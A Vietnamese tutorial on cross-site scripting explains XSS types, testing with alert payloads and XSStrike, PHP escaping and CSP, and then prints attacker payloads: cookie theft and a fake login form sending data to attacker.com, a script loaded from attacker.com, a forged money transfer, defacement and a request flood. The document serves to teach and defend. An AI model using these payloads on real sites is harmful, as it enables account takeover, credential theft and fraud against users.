Table of Contents

XSS (Cross-Site Scripting)

XSS (Cross-Site Scripting) là một lỗ hổng bảo mật trên các ứng dụng web, cho phép kẻ tấn công chèn các đoạn mã độc (thường là JavaScript) vào trang web mà người dùng khác sẽ truy cập. Khi người dùng truy cập trang web có chứa mã độc này, mã sẽ được thực thi bởi trình duyệt của họ, có thể dẫn đến việc đánh cắp cookie, thông tin người dùng, hoặc thực hiện các hành động trái phép thay mặt người dùng.

Có ba loại XSS chính:

  1. Stored XSS (Persistent XSS): Mã độc được lưu trữ trực tiếp trên server, ví dụ như trong cơ sở dữ liệu. Khi người dùng truy cập vào trang có chứa dữ liệu đó, mã độc sẽ được thực thi.
  2. Reflected XSS (Non-persistent XSS): Mã độc không được lưu trữ trên server mà được phản hồi ngay lập tức từ server về trình duyệt, thường thông qua các tham số URL hoặc biểu mẫu web.
  3. DOM-based XSS: Xảy ra khi mã JavaScript của trang web xử lý dữ liệu không an toàn từ DOM (Document Object Model) mà không qua server.

Một số cách kiểm tra lỗ hổng XSS

Kiểm tra XSS qua URL

Giả sử bạn có một trang web với tham số URL như sau:

http://example.com/search?q=

Bạn có thể thử chèn mã độc vào URL:

http://example.com/search?q=<script>alert('XSS')</script>

Nếu thông báo alert xuất hiện, trang web có khả năng bị lỗ hổng XSS.

Kiểm tra XSS qua biểu mẫu nhập liệu

Giả sử bạn có một biểu mẫu nhập liệu tìm kiếm trên trang web. Bạn có thể chèn mã độc vào ô tìm kiếm:

<input type="text" name="search" value='<script>alert("XSS")</script>'>

Nếu thông báo alert xuất hiện khi kết quả tìm kiếm được hiển thị, trang web có thể bị lỗ hổng XSS.

Sử dụng OWASP ZAP

Sử dụng Burp Suite

Sử dụng XSStrike

Cài đặt XSStrike:

git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip install -r requirements.txt

Chạy XSStrike để quét trang web:

python xsstrike.py -u "http://example.com/search?q="

Kiểm tra mã nguồn

Giả sử có một đoạn mã PHP xử lý dữ liệu đầu vào từ người dùng và xuất ra HTML:

<?php
$search = $_GET['search'];
echo "<div>" . $search . "</div>";
?>

Đoạn mã này có thể dễ dàng bị lỗ hổng XSS nếu không escape dữ liệu đầu vào. Để phòng chống, bạn cần escape dữ liệu:

<?php
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "<div>" . $search . "</div>";
?>

Thiết lập Content Security Policy (CSP)

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

CSP này chỉ cho phép tải các tài nguyên từ cùng miền và chặn các mã script từ các nguồn không tin cậy.

Kẻ tấn công phát hiện ra lỗ hổng XSS sẽ làm gì?

Mục đích: Đánh cắp thông tin phiên làm việc (session cookie) của người dùng để chiếm quyền truy cập vào tài khoản của họ.

Cách thực hiện: Có thể chèn mã JavaScript để gửi cookie đến server do họ kiểm soát. Ví dụ:

<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

Thực hiện Hành động Thay Mặt Người Dùng

Mục đích: Thực hiện các hành động trái phép thay mặt người dùng, chẳng hạn như chuyển tiền, thay đổi thông tin tài khoản, hoặc gửi tin nhắn.

Cách thực hiện: Có thể sử dụng JavaScript để thực hiện các hành động này. Ví dụ:

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://example.com/transfer", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("amount=1000&to_account=attacker_account");
</script>

Phát tán Mã Độc

Mục đích: Tải và thực thi mã độc trên máy của người dùng.

Cách thực hiện: Kẻ tấn công có thể chèn mã JavaScript để tải mã độc từ server của họ. Ví dụ:

<script src="http://attacker.com/malware.js"></script>

Deface (Làm Xấu) Trang Web

Mục đích: Làm xấu hoặc thay đổi giao diện của trang web để gửi thông điệp hoặc làm mất uy tín của trang web.

Cách thực hiện: Kẻ tấn công có thể chèn mã JavaScript để thay đổi nội dung của trang web. Ví dụ

<script>
document.body.innerHTML = "<h1>Hacked by Attacker</h1>";
</script>

Tấn công Phishing

Mục đích: Lừa người dùng nhập thông tin nhạy cảm vào các trang web giả mạo.

Cách thực hiện: Kẻ tấn công có thể chèn mã JavaScript để hiển thị một form đăng nhập giả mạo. Ví dụ:

<script>
var form = '<form action="http://attacker.com/phish" method="POST">';
form += 'Username: <input type="text" name="username"><br>';
form += 'Password: <input type="password" name="password"><br>';
form += '<input type="submit" value="Login">';
form += '</form>';
document.body.innerHTML = form;
</script>

Tấn công DOS (Denial of Service)

Mục đích: Làm cho trang web hoặc dịch vụ trở nên không khả dụng cho người dùng hợp pháp.

Cách thực hiện: Kẻ tấn công có thể chèn mã JavaScript để thực hiện nhiều yêu cầu đến server, làm server quá tải. Ví dụ:

<script>
for (var i = 0; i < 1000; i++) {
  var img = new Image();
  img.src = "http://example.com?random=" + Math.random();
}
</script>

Phương pháp phòng chống XSS

  1. Escaping Output: Đảm bảo rằng tất cả dữ liệu đầu ra (output) từ server đến trình duyệt được escape đúng cách, đặc biệt là khi dữ liệu được chèn vào HTML, thuộc tính, JavaScript, hoặc CSS. Ví dụ, trong HTML, các ký tự như <, >, & cần được chuyển đổi thành &lt;, &gt;, &amp;.
  2. Validating Input: Luôn luôn kiểm tra và xác thực dữ liệu đầu vào (input) từ người dùng. Chỉ chấp nhận các giá trị hợp lệ và loại bỏ hoặc escape các ký tự nguy hiểm.
  3. Content Security Policy (CSP): Sử dụng CSP để hạn chế các nguồn tài nguyên mà trình duyệt có thể tải. CSP có thể ngăn chặn việc thực thi mã độc từ các nguồn không tin cậy.
  4. HttpOnly Cookies: Thiết lập cookie với thuộc tính HttpOnly để ngăn JavaScript truy cập vào các cookie này, giúp bảo vệ khỏi việc đánh cắp cookie qua XSS.
  5. Security Libraries and Frameworks: Sử dụng các thư viện và framework bảo mật đã được kiểm tra và tin cậy để xử lý các vấn đề bảo mật, chẳng hạn như OWASP AntiSamy, DOMPurify cho việc làm sạch và xử lý HTML.
  6. Regular Code Reviews and Security Testing: Thực hiện việc kiểm tra mã thường xuyên và kiểm tra bảo mật để phát hiện và khắc phục các lỗ hổng XSS trước khi triển khai.
  7. User Input Encoding: Mã hóa dữ liệu đầu vào từ người dùng trước khi xử lý hoặc lưu trữ để đảm bảo rằng nó không chứa mã độc.